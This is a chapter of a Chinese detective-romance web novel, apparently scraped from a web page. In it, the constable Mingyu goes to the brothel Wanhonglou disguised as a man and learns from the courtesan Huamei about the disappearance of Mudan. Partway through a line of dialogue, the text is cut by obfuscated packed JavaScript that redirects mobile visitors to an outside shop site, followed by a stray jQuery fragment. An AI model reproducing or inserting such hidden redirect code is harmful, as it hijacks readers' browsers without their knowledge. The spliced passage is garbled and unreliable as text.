孟昭看到鸣玉的反应,不由得摇头笑笑,
“既然都打算拼死一搏了,那她直接告诉我们就好了啊,为什么要跟我们兜弯子呢?
还有就是,县令刚来青溪县不久,一个青楼女子怎么能这么快就将其认出了呢?”
“这个嘛……”鸣玉揉揉自己的太阳穴,一边走一边想,好多步之后,咬着指关节,模模糊糊地出声道:“好像也对哦。”
衙门里,姜琛正检查着贾有盛一案的卷宗,
不知为何,他忽然觉得鼻子痒痒的,背过身,控制不住自己,一连打了好几个喷嚏,
正在刺绣的小双闻声,出门关切道:“琛哥哥,你怎么啦,莫非是昨夜风太大,不小心感染了风寒?”
听到声音,姜琛努力忍住打喷嚏的欲望,笑着安慰小双不用担心,说自己可能是被墨水的气味刺激了一下,
姜琛的解释让小双松了口气,转身进屋,又帮姜琛泡了壶热茶,好让他润润嗓子,驱驱寒气。
孟昭进到院子时,刚看到姜琛,就想起来鸣玉方才的一番推理,心里的笑意逐渐升腾,面上却在强撑着,
“孟昭,你怎么这个表情?”姜琛瞧出不对劲,疑惑道,
孟昭强忍笑意,摆摆手,“没,没什么,”
旁边的鸣玉见状,脸色一红,
姜琛的疑惑更大了,
“是什么秘密吗,还要瞒着我?”
“既然是秘密,您就不要再问了,”鸣玉笑着摆摆手,“对了,大人,万红楼里的姑娘您最喜欢哪个啊?”
“我一个都不认识,谈何喜欢呢,”姜琛觉得这两人去了趟万红楼后,怎么变得如此奇怪,
“不认识就好,认识了我还真该怀疑你了,”鸣玉嘀嘀咕咕着,
“鸣玉,你说什么?”姜琛并没有听清,朝鸣玉的方向再走两步,
“没什么,没什么,”鸣玉摇摇头,笑了,
“你们两个今天实在是有些奇怪,”姜琛摇摇头,无奈道。
姜琛旁边的小双也是一脸好奇的样子,
“小双,你的运气一定要是好的哦,”鸣玉冲着小双眨眨眼,
“玉姐姐,你在说什么呀,”小双很是迷惑,走到鸣玉身旁,好奇地打探到,
“没什么,等事情办完了,我悄悄跟你说,”鸣玉趴到小双耳边,压低声音道,
“双双,她说的什么呀?”姜琛不解道,
小双耸耸肩,笑道:“我也不知道,”
“合着就瞒我一个人是吧,”姜琛无奈,
然后,不知道为什么,大家都哈哈大笑了起来。
笑过之后,整理好状态,孟昭跟鸣玉两个人将今天在万红楼的发现与心里的疑惑一五一十地全讲了出来,
“既然这个画眉就是牡丹案的关键,那要怎么才能让她说出她所知道的东西呢,”
姜琛听完后,望着茶杯里升起的热气道:
“或者说,她究竟在顾忌着什么?”
“怎么样她才能放下顾忌呢?”鸣玉抿了口茶水,
小双仔细地看了看鸣玉跟孟昭,捧着茶杯,试探着说道:
“玉姐姐,画眉不敢直接说,会不会是因为你跟孟公子穿着差服太惹眼了?”
闻言,鸣玉跟孟昭低头看了看自己的装扮,尤其是腰间“明晃晃”的佩刀,确实能让人一打眼就看出两个人是在衙门里面当差的,
小双的话可谓是一语点醒梦中人,
“或许万红楼里就有凶手的人在监视着,”鸣玉捏着茶杯,皱皱眉头,
“可万红楼里的大多数人都已经见过我跟孟昭了,这下要怎么才能不引人注目地单独接触到画眉呢,”
姜琛抬眼,又重新上下打量了一番鸣玉,“第一天来县衙的衣服还留着的吧?”
鸣玉眼前一亮,“大人的意思是说?”
姜琛点点头。
鸣玉打个响指,起身回房,
不一会儿,一身男装的鸣玉大大咧咧地从房里走出来了,
她张开手臂,在众人面前转了两圈,压低嗓音道:
“怎么样,还看得过去吧!”
“玉姐姐现在活脱脱就是一位俏公子了,”小双毫不吝啬自己的夸奖之词,
鸣玉勾起唇角,故作正经道:
“接下来,俏公子就要变成浪荡子了,”
毫无疑问,鸣玉的这句话,又将大家逗乐了……
“你还知道浪荡子是什么样的啊,”孟昭笑道,
“那是!我知道的可多着呢!”鸣玉挑挑眉,哼笑出声,
“那我们可就期待着鸣玉你凯旋了,”孟昭拍掌道,
“一定的啦,”鸣玉一扬下巴,
接着又转过身,朝着姜琛伸出手掌,“去万红楼的花费——县令大人您先报销一下呗。”
孟昭之前在万红楼露过面,所以说,为了以防万一,这回他没有跟着鸣玉一起进去,而是在外面寻了偏僻地接应,
鸣玉在万红楼外面观察了许久,终于趁着画眉在一楼大厅露面时,摇着扇子晃悠了进去,这一晃就晃到了画眉跟前,
合起扇子,轻轻挑起画眉下巴,
“小娘子,有几分姿色呀,”
“公子可真是有品位啊,”画眉声音黏腻腻的,说着,她还笑盈盈地伸出手指,柔若无骨地轻抚过鸣玉握着扇子的手背,
“要不要陪公子喝几杯呀,”
鸣玉收起扇子,鸡皮疙瘩起了一身,可脸上还强撑着表情,
“好啊,不过本公子更喜欢关门闲谈,不知姑娘意下如何?”
“这个嘛,”画眉说着,眼神便瞥向了鸣玉腰间的钱袋,
鸣玉笑笑,将沉甸甸的钱袋从腰间一把扯下,随手抛给画眉,
“够吗?”
画眉拿着钱袋掂了两掂,“好说好说,我房里有上好的酒水,公子跟我来。”
进了屋,趁着画眉关门的功夫,鸣玉随意往椅子上一坐,
刚插上门闩,画眉便直直地朝鸣玉扭了过来,看那架势,大有想坐到鸣玉大腿上的意味,
画眉越来越近了,却吓得鸣玉一个挺身,
“公子,都到屋了,怎么反倒害羞起来了?”画眉说着就要往鸣玉身上扑,
“既然是闲谈,那姑娘不妨先坐下,”鸣玉一个瞬移,躲过了画眉的怀抱,
画眉轻轻一笑,挽挽自己耳侧的头发,“娇滴滴”地坐到了一旁的椅子上,
见画眉坐下,鸣玉总算是松了口气,用脚尖将画眉身旁的椅子勾得离她远了几寸,才堪堪侧身坐下,
画眉斟好酒,托到鸣玉的跟前,“公子请用,”
鸣玉接过酒盅,随手放在身前的桌子上,“喝酒的事先放放,咱们还是先聊聊天吧,”
“公子到万红楼,不聊风月,还能做什么呀,”见到眼前这人怪异的举止,画眉轻拧起眉头,
鸣玉正了神色,压低声音道:“聊聊万红楼里的牡丹姑娘如何,”
听到牡丹的名字,画眉激动地站起身,“你,你是……”
“是我,赵鸣玉,咱们见过面的,”鸣玉就这么开门见山地亮明了身份,
“你胆子太大了,”画眉将惊呼捂在嘴巴里,
“你难道不想让我来吗?”鸣玉又提高音量,“可真是好酒啊,”
“既然是好酒,那公子就再来一杯吧,”画眉尽力保持着镇静,像往常一样回道,
“好个体己的美人~”鸣玉尽力模仿着外面其他男人的话语,
“你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13370364|140415||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
想问什么?”画眉也压低了声音,
“她还活着吗?”鸣玉直愣愣地问道,
画眉闭上眼睛,“我不清楚,但活着的面儿不大,”
“她怎么了?”
“前些天被老鸨跟龟公带出去后就再也没有回来。”
“你亲眼看到的吗?”
“没错,”
“他们为什么要把牡丹带出去?”
“不知道,”
“牡丹没有挣扎吗?”
“没有,但我怀疑他们把牡丹骗出去后杀了,因为牡丹失踪前几天,不知为何一直把自己关在屋里,许是惹怒了他们,可我没有证据,也不知那天牡丹为何不做挣扎,”
“你想帮牡丹查明真相,又怕直接告诉我们的话,会遭到他们的报复对吧,”
画眉点点头,“牡丹消失后,老鸨说是牡丹自己跟人私奔,被他们追上后乱棍打死了,她威胁楼里的姐妹说,要是我们敢透漏有关牡丹的任何消息,就会跟牡丹一个下场,所以,要是我的话被他们听到,要是你们最后还找不出证据,他们也一定会把我给弄死的,”
“因此你就一点点地给我们暗示,”
“我尽力了,”
“你放心,不管牡丹是死是活,我们都会找到她的,”
“多谢,”
“没事儿,我说过,人命关天,谁的命都是命!”
听到鸣玉的话,画眉的眼眶已经湿润了,“那天他们带着牡丹往城西去了,”
“牡丹身上有什么特点吗?”
画眉拉下衣领,露出自己的肩膀,
令鸣玉没有想到的是,画眉的肩上竟有一个不小的刺青——是一个“妓”字,
“他们怕我们逃跑,在我们被卖进万红楼的第一天,便在我们每个人的肩上刺了这个。”
“很痛吧,”鸣玉心里顿时很不是滋味,不由自主地开口道,
画眉一愣,十多年了,眼前这个姑娘是第一个问她痛不痛的人,扯扯嘴角,“痛不痛的,都忘了,”
然而,画眉眼角的泪水,分明揭穿了她的心口不一,
“帮牡丹报仇,拜托了,”
画眉闭上眼睛,任凭眼泪滴落下来。
鸣玉从桌上拿起画眉的手帕,上前轻轻地为她擦去泪水,“放心吧,画眉姐姐,你照顾好自己。”
画眉睁开眼睛,从怀里取出那袋银子,“这个你拿回去,”
鸣玉摇摇头,“我拿回去,你怎么跟老鸨交差?”
“这个你不用管,”画眉将钱袋强硬地塞进鸣玉手里,
鸣玉推迟不过,只好接过钱袋,重新收拾好心情,抬脚离开了万红楼。
见鸣玉出来,孟昭赶忙迎了上去,
“怎么样?”
“画眉姐姐说,她前些天亲眼看见万红楼里的老鸨和龟公把牡丹带上车往城西去了,此后,就再也没见到牡丹回来,”
“是老鸨把人带走的?所以她之前一直都在说谎?”
“对,没错,画眉姐姐想替牡丹报仇,可是又怕仇报不成,反而把自己的命给搭进去,所以才一直不敢正面告诉我们,而是一直在暗搓搓地提示我们。”
“难怪,”孟昭又仔细回忆起画眉之前的话,恍然大悟道:
“她说牡丹易败和万红楼里养不活牡丹,就是告诉我们牡丹出事了,她说穷酸地儿养不活牡丹就是再说牡丹不可能跟谁私奔,”
鸣玉点点头,“她很聪明。”
“画眉姐姐还告诉我,牡丹跟她们万红楼里的所有姑娘一样,她的肩头被刺了一个‘妓’字,”
“肩头刺字?”孟昭只觉得自己的肩膀一凉,“还是‘妓’字?”
鸣玉叹了口气,
“卑鄙啊!”孟昭咬牙道。